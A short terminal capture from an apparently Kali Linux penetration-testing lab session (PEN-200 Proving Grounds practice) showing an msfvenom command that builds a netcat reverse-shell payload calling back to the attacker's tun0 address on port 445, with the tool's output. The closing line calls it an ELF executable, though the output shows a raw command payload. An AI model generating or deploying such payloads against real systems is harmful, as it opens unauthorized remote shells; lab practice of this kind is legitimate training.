msfvenom
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/bratarina]
└─$ msfvenom -p cmd/unix/reverse_netcat LHOST=$tun0 LPORT=445 -b "\x00" -f raw -o shell
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No badchars present in payload, skipping automatic encoding
No encoder specified, outputting raw payload
Payload size: 99 bytes
Saved as: shell
msfvenom generated a reverse shell ELF executable